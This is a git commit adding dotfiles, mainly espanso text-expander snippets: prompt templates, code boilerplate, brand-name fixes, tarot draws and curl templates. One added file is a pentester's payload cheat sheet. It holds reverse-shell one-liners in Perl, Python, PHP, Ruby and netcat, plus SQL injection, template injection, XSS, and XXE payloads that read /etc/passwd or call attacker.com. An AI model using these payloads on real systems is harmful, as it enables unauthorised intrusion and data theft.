Updated dotfiles

This commit is contained in:
rpriven 2025-05-12 20:29:08 -06:00
parent 86ef6ecc90
commit 1c5353187b
172 changed files with 4266 additions and 11 deletions

View file

@ -0,0 +1,42 @@
# espanso configuration file
# yaml-language-server: $schema=https://raw.githubusercontent.com/espanso/espanso/dev/schemas/config.schema.json
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the global configuration options for espanso.
# These are the parameters that will be used by default on every application,
# but you can also override them on a per-application basis.
# To make customization easier, this file contains some of the commonly used
# parameters. Feel free to uncomment and tune them to fit your needs!
# --- Toggle key
# Customize the key used to disable and enable espanso (when double tapped)
# Available options: CTRL, SHIFT, ALT, CMD, OFF
# You can also specify the key variant, such as LEFT_CTRL, RIGHT_SHIFT, etc...
# toggle_key: ALT
# You can also disable the toggle key completely with
toggle_key: OFF
# --- Injection Backend
# Espanso supports multiple ways of injecting text into applications. Each of
# them has its quirks, therefore you may want to change it if you are having problems.
# By default, espanso uses the "Auto" backend which should work well in most cases,
# but you may want to try the "Clipboard" or "Inject" backend in case of issues.
# backend: Clipboard
# --- Auto-restart
# Enable/disable the config auto-reload after a file change is detected.
auto_restart: true
# --- Clipboard threshold
# Because injecting long texts char-by-char is a slow operation, espanso automatically
# uses the clipboard if the text is longer than 'clipboard_threshold' characters.
# clipboard_threshold: 100
# For a list of all the available options, visit the official docs at: https://espanso.org/docs/

View file

@ -0,0 +1,101 @@
matches:
- trigger: ":prompt-improve"
replace: |
You're an expert at prompt engineering. Please rewrite and improve this prompt to get the best results.
## PROMPT WRITING KNOWLEDGE
Tactics:
Include details in your query to get more relevant answers
Ask the model to adopt a persona
Use delimiters to clearly indicate distinct parts of the input
Specify the steps required to complete a task
Provide examples
Specify the desired length of the output
Provide reference text
Language models can confidently invent fake answers, especially when asked about esoteric topics or for citations and URLs. In the same way that a sheet of notes can help a student do better on a test, providing reference text to these models can help in answering with fewer fabrications.
Tactics:
Instruct the model to answer using a reference text
Instruct the model to answer with citations from a reference text
Split complex tasks into simpler subtasks
Just as it is good practice in software engineering to decompose a complex system into a set of modular components, the same is true of tasks submitted to a language model. Complex tasks tend to have higher error rates than simpler tasks. Furthermore, complex tasks can often be re-defined as a workflow of simpler tasks in which the outputs of earlier tasks are used to construct the inputs to later tasks.
- Interpret what the input was trying to accomplish.
- Read and understand the PROMPT WRITING KNOWLEDGE above.
- Write and output a better version of the prompt using your knowledge of the techniques above.
# OUTPUT INSTRUCTIONS:
1. Output the prompt in clean, human-readable Markdown format.
2. Only output the prompt, and nothing else, since that prompt might be sent directly into an LLM.
# INPUT
The following is the prompt you will improve:
- trigger: ":prompt-rewrite"
replace: |
You're an expert technical writer. Rewrite the following text to improve clarity and conciseness while keeping it accurate.
**Guidelines:**
- Assume your audience has intermediate technical knowledge
- Replace jargon with plain language where possible
- Break up long sentences
- Add bullet points if it helps comprehension
Provide **two variations**, and include a 1-sentence explanation of why each is better.
**Input:**
[Insert your text here]
- trigger: ":prompt-summarize"
replace: |
Summarize this technical content for a stakeholder who isn't an engineer.
**Goals:**
- Keep it under 100 words
- Focus on the "why it matters"
- No acronyms unless explained
**Example Summary:**
“We discovered a performance bottleneck in the database queries, which slowed down our app. Were optimizing them now to improve user experience.”
**Input:**
[Insert content here]
- trigger: ":prompt-bugfix"
replace: |
Act as a senior Python developer. Help debug this code.
**Instructions:**
1. Identify any bugs or bad practices
2. Suggest fixes with brief explanation
3. Provide a corrected version
4. Suggest improvements for readability
**Input Code:**
[Paste your Python code here]
- trigger: ":prompt-qa"
replace: |
Based on the following text, generate 5 thoughtful questions that challenge assumptions, test understanding, or uncover edge cases.
**Context:** Preparing for code reviews and collaborative refinement.
**Input:**
[Insert concept or document]
- trigger: ":prompt-variations"
replace: |
You are a creative writer with a technical background.
Generate **3 variations** of this copy, optimized for different tones:
- Formal
- Friendly
- Technical
**Input:**
[Paste text here]

View file

@ -0,0 +1,142 @@
# espanso match file
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the base matches (aka snippets)
# that will be available in every application when using espanso.
# Matches are substitution rules: when you type the "trigger" string
# it gets replaced by the "replace" string.
# yaml-language-server: $schema=https://raw.githubusercontent.com/espanso/espanso/dev/schemas/match.schema.json
matches:
# Simple text replacement
- trigger: ":espanso"
replace: "Hi there!"
# NOTE: espanso uses YAML to define matches, so pay attention to the indentation!
# But matches can also be dynamic:
# Print the current date
- trigger: ":date"
replace: "{{mydate}}"
vars:
- name: mydate
type: date
params:
format: "%m/%d/%Y"
- trigger: ":dt"
replace: "{{date}} {{time}}"
vars:
- name: date
type: date
params:
format: "%m/%d/%Y"
- name: time
type: time
params:
format: "%H:%M:%S"
# Print the output of a shell command
- trigger: ":shell"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "echo 'Hello from your shell'"
- trigger: :trigger
replace: |
- trigger: test
replace: test
- trigger: :test
replace: >
This is an example
of how to use a multi-
line example of :test
- trigger: ":easy"
replace: "This is easy!"
- trigger: :sno
replace: |
# Title
## Installation
/code
## Usage
/code
## Resources
- trigger: :meat
replace: 🥩
search_terms:
- steak
- t-bone
- regex: ";no.spons\\((?P<product>.*)\\)"
replace: |
Hi there,
Thanks for reaching out! However, I don't believe {{product}} is a good fit for my audience at this point, and my ethics statement (https://nicolevanderhoeven.com/ethics/), as well as my limited time, prohibits me from accpting most opportunities. I hope you understand!
I wish you the best of luck in finding someone who is a better fit.
Thank you,
Nicole
- trigger: ":uuid"
replace: "{{uuid}}"
vars:
- name: uuid
type: shell
params:
cmd: "uuidgen"
- trigger: ":now"
replace: "{{now}}"
vars:
- name: now
type: date
params:
format: "%Y-%m-%d %H:%M"
- trigger: ":clip-clean"
replace: "{{clip | replace('\n', ' ')}}"
vars:
- name: clip
type: shell
params:
cmd: "xclip -o -selection clipboard"
- trigger: ":randnum"
replace: "{{rand}}"
vars:
- name: rand
type: shell
params:
cmd: "shuf -i 1000-9999 -n 1"
- trigger: ":logentry"
replace: |
## Log - :now
**What happened:**
-
**Next actions:**
-
vars:
- name: now
type: date
params:
format: "%Y-%m-%d %H:%M"
# And much more! For more information, visit the docs: https://espanso.org/docs/

View file

@ -0,0 +1,102 @@
matches:
# Python imports block
- trigger: ":py-imports"
replace: |
import os
import sys
import argparse
import logging
# Python entry point
- trigger: ":py-main"
replace: |
if __name__ == "__main__":
main()
# Python logging setup
- trigger: ":py-logger"
replace: |
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[logging.StreamHandler()]
)
logger = logging.getLogger(__name__)
# Bash color template
- trigger: ":bash-colors"
replace: |
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
# Bash shebang + options
- trigger: ":bash-head"
replace: |
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
# Bash usage function
- trigger: ":bash-usage"
replace: |
usage() {
echo "Usage: $0 [options]"
echo " -h Show help"
exit 1
}
while getopts ":h" opt; do
case ${opt} in
h ) usage ;;
\? ) usage ;;
esac
done
- trigger: ":py-args"
replace: |
import argparse
parser = argparse.ArgumentParser(description="Script description here.")
parser.add_argument("input", help="Input file")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode")
args = parser.parse_args()
- trigger: ":py-timer"
replace: |
import time
start = time.time()
# your code here
print(f"Elapsed time: {time.time() - start:.2f}s")
- trigger: ":py-path"
replace: |
from pathlib import Path
base_path = Path(__file__).resolve().parent
data_path = base_path / "data" / "file.csv"
- trigger: ":bash-log"
replace: |
log() {
echo -e "\\033[1;34m[INFO]\\033[0m $1"
}
- trigger: ":bash-check"
replace: |
if [ ! -f "$1" ]; then
echo "File not found: $1"
exit 1
fi
- trigger: ":bash-trap"
replace: |
cleanup() {
echo "Cleaning up..."
# Add cleanup commands here
}
trap cleanup EXIT

View file

@ -0,0 +1,298 @@
# Brand Names
matches:
- trigger: "1password"
replace: "1Password"
propagate_case: true
word: true
- trigger: "autocad"
replace: "AutoCAD"
propagate_case: true
word: true
- trigger: "autodesk"
replace: "Autodesk"
propagate_case: true
word: true
- trigger: "backblaze"
replace: "Backblaze"
propagate_case: true
word: true
- trigger: "betalist"
replace: "BetaList"
propagate_case: true
word: true
- trigger: "bitcan"
replace: "BitCan"
propagate_case: true
word: true
- trigger: "cafepress"
replace: "CafePress"
propagate_case: true
word: true
- trigger: "chromebook"
replace: "Chromebook"
propagate_case: true
word: true
- trigger: "citroen"
replace: "Citroën"
propagate_case: true
word: true
- trigger: "clearbit"
replace: "Clearbit"
propagate_case: true
word: true
- trigger: "codeship"
replace: "Codeship"
propagate_case: true
word: true
- trigger: "crowdin"
replace: "Crowdin"
propagate_case: true
word: true
- trigger: "devmate"
replace: "DevMate"
propagate_case: true
word: true
- trigger: "dropbox"
replace: "Dropbox"
propagate_case: true
word: true
- trigger: "ebay"
replace: "eBay"
propagate_case: true
word: true
- trigger: "eventbrite"
replace: "Eventbrite"
propagate_case: true
word: true
- trigger: "evernote"
replace: "Evernote"
propagate_case: true
word: true
- trigger: "expandrive"
replace: "ExpanDrive"
propagate_case: true
word: true
- trigger: "facebook"
replace: "Facebook"
propagate_case: true
word: true
- trigger: "fastspring"
replace: "FastSpring"
propagate_case: true
word: true
- trigger: "freshbooks"
replace: "FreshBooks"
propagate_case: true
word: true
- trigger: "freshdesk"
replace: "Freshdesk"
propagate_case: true
word: true
- trigger: "github"
replace: "GitHub"
propagate_case: true
word: true
- trigger: "goodreads"
replace: "Goodreads"
propagate_case: true
word: true
- trigger: "greenfax"
replace: "GreenFax"
propagate_case: true
word: true
- trigger: "hootsuite"
replace: "Hootsuite"
propagate_case: true
word: true
- trigger: "hubspot"
replace: "HubSpot"
propagate_case: true
word: true
- trigger: "indiegogo"
replace: "Indiegogo"
propagate_case: true
word: true
- trigger: "iret"
replace: "IRET"
propagate_case: true
word: true
- trigger: "kickstarter"
replace: "Kickstarter"
propagate_case: true
word: true
- trigger: "kno"
replace: "Kno"
propagate_case: true
word: true
- trigger: "lastpass"
replace: "LastPass"
propagate_case: true
word: true
- trigger: "linkedin"
replace: "LinkedIn"
propagate_case: true
word: true
- trigger: "macphun"
replace: "Macphun"
propagate_case: true
word: true
- trigger: "macupdate"
replace: "MacUpdate"
propagate_case: true
word: true
- triggers:
- "macos"
- "osx"
replace: "macOS"
propagate_case: true
word: true
- trigger: "mailchimp"
replace: "MailChimp"
propagate_case: true
word: true
- trigger: "maximus"
replace: "Maximus"
propagate_case: true
word: true
- trigger: "microsoft"
replace: "Microsoft"
propagate_case: true
word: true
- trigger: "monoprice"
replace: "Monoprice"
propagate_case: true
word: true
- trigger: "newsblur"
replace: "NewsBlur"
propagate_case: true
word: true
- trigger: "papertrail"
replace: "Papertrail"
propagate_case: true
word: true
- trigger: "parkmerced"
replace: "Parkmerced"
propagate_case: true
word: true
- trigger: "rackspace"
replace: "Rackspace"
propagate_case: true
word: true
- trigger: "rapidweaver"
replace: "RapidWeaver"
propagate_case: true
word: true
- trigger: "reva"
replace: "Reva"
propagate_case: true
word: true
- trigger: "salesforce"
replace: "Salesforce"
propagate_case: true
word: true
- trigger: "sanebox"
replace: "SaneBox"
propagate_case: true
word: true
- trigger: "smartlink"
replace: "SmartLink"
propagate_case: true
word: true
- trigger: "smartsearch"
replace: "SmartSearch"
propagate_case: true
word: true
- trigger: "snapchat"
replace: "Snapchat"
propagate_case: true
word: true
- trigger: "ssnif"
replace: "SSNiF"
propagate_case: true
word: true
- trigger: "testrail"
replace: "TestRail"
propagate_case: true
word: true
- trigger: "touchbar"
replace: "Touch Bar"
propagate_case: true
word: true
- trigger: "transferwise"
replace: "TransferWise"
propagate_case: true
word: true
- trigger: "wikipedia"
replace: "Wikipedia"
propagate_case: true
word: true
- trigger: "wordpress"
replace: "WordPress"
propagate_case: true
word: true
- trigger: "wufoo"
replace: "Wufoo"
propagate_case: true
word: true
- trigger: "xing"
replace: "XING"
propagate_case: true
word: true

View file

@ -0,0 +1,18 @@
# cht package
matches:
- regex: ":cht/(?P<command>.*)/"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl "https://cht.sh/{{command}}?QT&style=bw"'
- regex: ":vcht/(?P<command>.*)/"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl "https://cht.sh/{{command}}?qT&style=bw"'

View file

@ -0,0 +1,63 @@
matches:
- trigger: ":vec:" # e.g.: x⃗
replace: "\u20d7"
- triggers: [":underrightarrow:", ":ura:"] # e.g.: x⃯
replace: "\u20ef"
- triggers: [":underleftarrow:", ":ula:"] # e.g.: x⃮
replace: "\u20ee"
- triggers: [":overleftarrow:", ":ola:"] # e.g.: x⃡
replace: "\u20e1"
- triggers: [":underline:", ":ul:"] # e.g.:
replace: "\u0332"
- trigger: ":bar:" # e.g.: x̅
replace: "\u0305"
- trigger: ":acute:" # e.g.: x́
replace: "\u0301"
- trigger: ":macron:" # e.g.: x̄
replace: "\u0304"
- trigger: ":breve:" # e.g.: x̆
replace: "\u0306"
- trigger: ":caron:" # e.g.: x̌
replace: "\u030c"
- trigger: ":ddddot:" # e.g.: x⃛
replace: "\u20dc"
- trigger: ":dddot:" # e.g.: x⃛
replace: "\u20db"
- trigger: ":ddot:" # e.g.: ẍ
replace: "\u0308"
- trigger: ":dot:" # e.g.: ẋ
replace: "\u0307"
- trigger: ":grave:" # e.g.: x̀
replace: "\u0300"
- trigger: ":hat:" # e.g.: x̂
replace: "\u0302"
- trigger: ":widehat:" # e.g.: x̂
replace: "\u0302"
- trigger: ":tilde:" # e.g.: x̃
replace: "\u0303"
- trigger: ":widetilde:" # e.g.: x̃
replace: "\u0303"
- trigger: ":ring:" # e.g.: x̊
replace: "\u030a"
- triggers: [":not:", ":slash:"] # e.g.:
replace: "\u0338"

View file

@ -0,0 +1,64 @@
# curl package
name: curl
parent: default
global_vars:
- name: curlform
type: form
params:
layout: Target [[protocol]]://[[URL]]
fields:
protocol:
type: choice
values: [https, http]
default: https
matches:
- trigger: ":curl:"
replace: "curl --request GET {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlget:"
replace: "curl --request GET {{curlform.protocol}}://{{curlform.URL}}?key=value"
- trigger: ":curlpost:"
replace: "curl --request POST {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlput:"
replace: "curl --request PUT {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curldelete:"
replace: "curl --request DELETE {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlpatch:"
replace: "curl --request PATCH {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curldata:"
replace: "curl --request POST --header 'Content-Type: multipart/form-data' --form 'key=value' {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlxml:"
replace: "curl --request POST --header 'Content-Type: application/xml' --data '<key>value</key>' {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curljson:"
replace: 'curl --request POST --header ''Content-Type: application/json'' --data ''{"key":"value"}'' {{curlform.protocol}}://{{curlform.URL}}'
- trigger: ":curlheader:"
replace: "curl --request GET --header 'X-My-Header: 123' {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlcookie:"
replace: "curl --request GET --cookie 'key=value' {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlbasic:"
replace: "curl --request GET --user 'username:password' {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlbearer:"
replace: "curl --request GET --header 'Authorization: Bearer token' {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlproxy:"
replace: "curl --request GET --proxy http://proxy.example.com:8080 {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curldownload:"
replace: "curl --request GET --output file.txt {{curlform.protocol}}://{{curlform.URL}}"
- trigger: ":curlupload:"
replace: "curl --request POST --form 'file=@/path/to/file' {{curlform.protocol}}://{{curlform.URL}}"

View file

@ -0,0 +1,300 @@
# Returns a random playing card from a standard 52 card deck, with no jokers
matches:
- trigger: ":card:"
replace: "{{number}} of {{suit}}"
vars:
- name: number
type: random
params:
choices:
- "Ace"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- "Jack"
- "Queen"
- "King"
- name: suit
type: random
params:
choices:
- "Hearts"
- "Clubs"
- "Diamonds"
- "Spades"
# Returns a random playing card from a 54 card deck, including 2 jokers
- trigger: ":cardj:"
replace: "{{output}}"
vars:
- name: output
type: random
params:
choices:
- "Ace of Hearts"
- "2 of Hearts"
- "3 of Hearts"
- "4 of Hearts"
- "5 of Hearts"
- "6 of Hearts"
- "7 of Hearts"
- "8 of Hearts"
- "9 of Hearts"
- "10 of Hearts"
- "Jack of Hearts"
- "Queen of Hearts"
- "King of Hearts"
- "Ace of Clubs"
- "2 of Clubs"
- "3 of Clubs"
- "4 of Clubs"
- "5 of Clubs"
- "6 of Clubs"
- "7 of Clubs"
- "8 of Clubs"
- "9 of Clubs"
- "10 of Clubs"
- "Jack of Clubs"
- "Queen of Clubs"
- "King of Clubs"
- "Ace of Diamonds"
- "2 of Diamonds"
- "3 of Diamonds"
- "4 of Diamonds"
- "5 of Diamonds"
- "6 of Diamonds"
- "7 of Diamonds"
- "8 of Diamonds"
- "9 of Diamonds"
- "10 of Diamonds"
- "Jack of Diamonds"
- "Queen of Diamonds"
- "King of Diamonds"
- "Ace of Spades"
- "2 of Spades"
- "3 of Spades"
- "4 of Spades"
- "5 of Spades"
- "6 of Spades"
- "7 of Spades"
- "8 of Spades"
- "9 of Spades"
- "10 of Spades"
- "Jack of Spades"
- "Queen of Spades"
- "King of Spades"
- "Joker"
- "Joker"
# Returns a random card from a standard 78-card tarot deck
- trigger: ":tarot:"
replace: "{{output}}"
vars:
- name: output
type: random
params:
choices:
- "The Fool (0)"
- "The Magician (1)"
- "The High Priestess (2)"
- "The Empress (3)"
- "The Emperor (4)"
- "The Hierophant (5)"
- "The Lovers (6)"
- "The Chariot (7)"
- "Strength (8)"
- "The Hermit (9)"
- "Wheel of Fortune (10)"
- "Justice (11)"
- "The Hanged Man (12)"
- "Death (13)"
- "Temperance (14)"
- "The Devil (15)"
- "The Tower (16)"
- "The Star (17)"
- "The Moon (18)"
- "The Sun (19)"
- "Judgment (20)"
- "The World (21)"
- "Ace of Wands"
- "2 of Wands"
- "3 of Wands"
- "4 of Wands"
- "5 of Wands"
- "6 of Wands"
- "7 of Wands"
- "8 of Wands"
- "9 of Wands"
- "10 of Wands"
- "Page of Wands"
- "Knight of Wands"
- "Queen of Wands"
- "King of Wands"
- "Ace of Cups"
- "2 of Cups"
- "3 of Cups"
- "4 of Cups"
- "5 of Cups"
- "6 of Cups"
- "7 of Cups"
- "8 of Cups"
- "9 of Cups"
- "10 of Cups"
- "Page of Cups"
- "Knight of Cups"
- "Queen of Cups"
- "King of Cups"
- "Ace of Swords"
- "2 of Swords"
- "3 of Swords"
- "4 of Swords"
- "5 of Swords"
- "6 of Swords"
- "7 of Swords"
- "8 of Swords"
- "9 of Swords"
- "10 of Swords"
- "Page of Swords"
- "Knight of Swords"
- "Queen of Swords"
- "King of Swords"
- "Ace of Pentacles"
- "2 of Pentacles"
- "3 of Pentacles"
- "4 of Pentacles"
- "5 of Pentacles"
- "6 of Pentacles"
- "7 of Pentacles"
- "8 of Pentacles"
- "9 of Pentacles"
- "10 of Pentacles"
- "Page of Pentacles"
- "Knight of Pentacles"
- "Queen of Pentacles"
- "King of Pentacles"
# Returns a random card from a standard 78-card tarot deck, with a 25% chance of it being reversed
- trigger: ":tarot25:"
replace: "{{nested}}{{output}}"
vars:
- name: nested
type: match
params:
trigger: ":tarot:"
- name: output
type: random
params:
choices:
- " reversed"
- ""
- ""
- ""
# Returns a random card from a standard 78-card tarot deck, with a 20% chance of it being reversed
- trigger: ":tarot20:"
replace: "{{nested}}{{output}}"
vars:
- name: nested
type: match
params:
trigger: ":tarot:"
- name: output
type: random
params:
choices:
- " reversed"
- ""
- ""
- ""
- ""
# Returns a random card from a standard 78-card tarot deck, with a 10% chance of it being reversed
- trigger: ":tarot10:"
replace: "{{nested}}{{output}}"
vars:
- name: nested
type: match
params:
trigger: ":tarot:"
- name: output
type: random
params:
choices:
- " reversed"
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
# Returns a random card from a standard 78-card tarot deck, with a 5% chance of it being reversed
- trigger: ":tarot5:"
replace: "{{nested}}{{output}}"
vars:
- name: nested
type: match
params:
trigger: ":tarot:"
- name: output
type: random
params:
choices:
- " reversed"
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
- ""
# Returns a random card from a 36-card Lenormand deck
- trigger: ":lenormand:"
replace: "{{output}}"
vars:
- name: output
type: random
params:
choices:
- "Rider (1)"
- "Clover (2)"
- "Ship (3)"
- "House (4)"
- "Tree (5)"
- "Clouds (6)"
- "Snake (7)"
- "Coffin (8)"
- "Bouquet (9)"
- "Scythe (10)"
- "Whip (11)"
- "Birds (12)"
- "Child (13)"
- "Fox (14)"
- "Bear (15)"
- "Stars (16)"
- "Stork (17)"
- "Dog (18)"
- "Tower (19)"
- "Garden (20)"

View file

@ -0,0 +1,58 @@
atches:
# Reverse Shells
- trigger: ":rev-perl"
replace: "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
- trigger: ":rev-python"
replace: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
- trigger: ":rev-php"
replace: "php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
- trigger: ":rev-ruby"
replace: "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
- trigger: ":rev-nc"
replace: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f"
# SQL Injection Payloads
- trigger: ":sqli-poly"
replace: "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/"
# Server-side Template Injection Payloads
- trigger: ":ssti-asp"
replace: "@(1+2)"
- trigger: ":ssti-el"
replace: "${1+1}"
- trigger: ":ssti-el-alt"
replace: "#{1+1}"
- trigger: ":ssti-groovy"
replace: "${\"http://www.google.com\".toURL().text}"
- trigger: ":ssti-groovy-alt"
replace: "${new URL(\"http://www.google.com\").getText()}"
- trigger: ":ssti-jinja"
replace: "{{4*4}}[[5*5]]"
- trigger: ":ssti-ruby-file"
replace: "<%= File.open('/etc/passwd').read %>"
- trigger: ":ssti-ruby-dir"
replace: "<%= Dir.entries('/') %>"
- trigger: ":ssti-smarty"
replace: "{$smarty.version}"
- trigger: ":ssti-twig"
replace: "{{dump(app)}}"
- trigger: ":ssti-velocity"
replace: "#set($str=$class.inspect(\"java.lang.String\").type)"
# Cross-site Scripting Payloads
- trigger: ":xss-basic"
replace: "<script>confirm`1`</script>"
- trigger: ":xss-img"
replace: "<img src=a onerror=confirm`1`/>"
- trigger: ":xss-dom"
replace: "#\"><img src=/ onerror=alert(1)>"
- trigger: ":xss-markdown"
replace: "[a](javascript:prompt(1))"
- trigger: ":xss-poly"
replace: "\" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//"
# External XML Entity Injection Payloads
- trigger: ":xxe-file"
replace: "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>"
- trigger: ":xxe-http"
replace: "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'http://attacker.com'>]><root>&test;</root>"

View file

@ -0,0 +1,45 @@
# 2022-03-12T12:00:49+0000
# salopst
#
# Some Espanso triggers for Hugo Shortcodes
# https://gohugo.io/content-management/shortcodes/
matches:
- trigger: ":hf"
replace: "{{< figure src=\"$|$\" title=\"FIGURE_TITLE\" >}}"
- trigger: ":hg"
replace: "{{< gist GIT_USER_NAME GIST_ID >}}"
- trigger: ":hil"
replace: |-
{{< highlight $|$SYNTAX_LANG >}}
{{< /highlight >}}
- trigger: ":hin"
replace: "{{< instagram $|$INSTAGRAM_ID hidecaption >}}"
- trigger: ":hp"
replace: "{{< param $|$PARAMETER_NAME >}}"
# generates absolute href
- trigger: ":href"
replace: "{{< ref \"$|$ANCHOR_TARGET\" >}}"
# generates relative href
- trigger: ":hrel"
replace: "{{< relref \"$|$ANCHOR_TARGET\" >}}"
- trigger: ":ht"
replace: "{{< tweet user=\"$|$\" id=\"TWEET_ID\" >}}"
- trigger: ":hv"
replace: "{{< vimeo $|$VIMEO_ID >}}"
- trigger: ":hy"
replace: "{{< youtube id=\"$|$YOUTUBE_ID\" title=\"VIDEO_TITLE\" autoplay=\"TRUE_|_FALSE\" >}}"
- trigger: ":him"
replace: "{{< image src=\"/uploads/$|$IMAGE_FILE_NAME\" alt=\"ALT_TEXT\" position=\"center\" style=\"border-radius: 30px;\" >}}"

View file

@ -0,0 +1,19 @@
matches:
- trigger: "::low"
replace: "{{output}}"
vars:
- name: "clipboard"
type: "clipboard"
- name: output
type: shell
params:
cmd: "echo $ESPANSO_CLIPBOARD | tr '[:upper:]' '[:lower:]'"
- trigger: "::up"
replace: "{{output}}"
vars:
- name: "clipboard"
type: "clipboard"
- name: output
type: shell
params:
cmd: "echo $ESPANSO_CLIPBOARD | tr '[:lower:]' '[:upper:]'"

View file

@ -0,0 +1,38 @@
matches:
# æøå
- trigger: ":ae"
label: "æÆ"
replace: "æ"
propagate_case: true
- trigger: ":oe"
label: "øØ"
replace: "ø"
propagate_case: true
- trigger: ":aa"
label: "åÅ"
replace: "å"
propagate_case: true
# acute accents
- trigger: ":e'"
label: "éÉ (e acute)"
replace: "é"
propagate_case: true
# grave accents
- trigger: ":a`"
label : "àÀ (a grave)"
replace: "à"
propagate_case: true
- trigger: ":o`"
label: "òÒ (o grave)"
replace: "ò"
propagate_case: true
# Norwegian quote marks
- trigger: ":`"
label: "« (open quote)"
replace: "«"
- trigger: ":'"
label: "» (close quote)"
replace: "»"

View file

@ -0,0 +1,60 @@
matches:
- trigger: ":pymain"
replace: |
def main() -> None:
$|$
if __name__ == "__main__":
main()
- trigger: ":pycls"
replace: |
class $|$:
def __init__(self) -> None:
def method_1(self) -> None:
- trigger: ":pydef"
replace: |
def $|$():
return
- trigger: ":pymatch"
replace: |
match $|$:
case :
case _:
- trigger: ":pytry"
replace: |
try:
except $|$ as e:
- trigger: ":pyboiler:args"
replace: |
import argparse
def main(args: argparse.Namespace) -> None:
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("$|$")
args = parser.parse_args()
main(args)
- trigger: ":pyboiler:log"
replace: |
import logging
logger = logging.getLogger(__name__)
def main() -> None:
logger.debug("Logger working")
if __name__ == "__main__":
logging.basicConfig(level=logging.DEBUG, format="%(levelname)s %(asctime)s: %(message)s")
main()

View file

@ -6,3 +6,6 @@
[core]
editor = nvim
[alias]
co = checkout
lg = log --all --graph --format=oneline

View file

@ -548,7 +548,7 @@
###################[ command_execution_time: duration of the last command ]###################
# Show duration of the last command if takes at least this many seconds.
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=3
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=1
# Show this many fractional digits. Zero means round to seconds.
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0
# Execution time color.

View file

@ -623,6 +623,8 @@ set -g @session-wizard-windows on # default is off
# set -g @plugin 'wfxr/tmux-fzf-url'
# set -g @plugin 'omerxx/tmux-floax'
set -g @plugin 'kenos1/tmux-cht-sh'
set -g @plugin 'BartSte/tmux-fzf-open'
set -g @fzf-open-bind 'u'
# source-file '$HOME/.tmux/plugins/tmux-fzf-open/setup.tmux'

View file

@ -0,0 +1,268 @@
{
"com.github.igorvaryvoda.ulauncher-perplexity": {
"id": "com.github.igorvaryvoda.ulauncher-perplexity",
"url": "https://github.com/IgorVaryvoda/ulauncher-perplexity",
"updated_at": "2025-03-16T12:59:43.265383",
"last_commit": "7320f7b1499417ad31d920688e600b80d8454f6d",
"last_commit_time": "2024-12-10T15:31:41"
},
"com.github.iboyperson.ulauncher-system": {
"id": "com.github.iboyperson.ulauncher-system",
"url": "https://github.com/iboyperson/ulauncher-system",
"updated_at": "2025-03-16T13:02:08.080929",
"last_commit": "7dedd992709fa2297735cddf852404144d4da47c",
"last_commit_time": "2023-11-14T16:53:20"
},
"com.github.brpaz.ulauncher-file-search": {
"id": "com.github.brpaz.ulauncher-file-search",
"url": "https://github.com/brpaz/ulauncher-file-search",
"updated_at": "2025-03-16T13:02:34.961317",
"last_commit": "0ea61c2049b27f1ddfa81d1844876f21dd9d6e7b",
"last_commit_time": "2020-07-03T13:30:16"
},
"com.github.mikebarkmin.ulauncher-obsidian": {
"id": "com.github.mikebarkmin.ulauncher-obsidian",
"url": "https://github.com/mikebarkmin/ulauncher-obsidian",
"updated_at": "2025-03-16T13:02:43.173879",
"last_commit": "a419cdc5e73453e4b284bb4905448ca60e4a3864",
"last_commit_time": "2023-09-12T10:42:25"
},
"com.github.ulauncher.ulauncher-timer": {
"id": "com.github.ulauncher.ulauncher-timer",
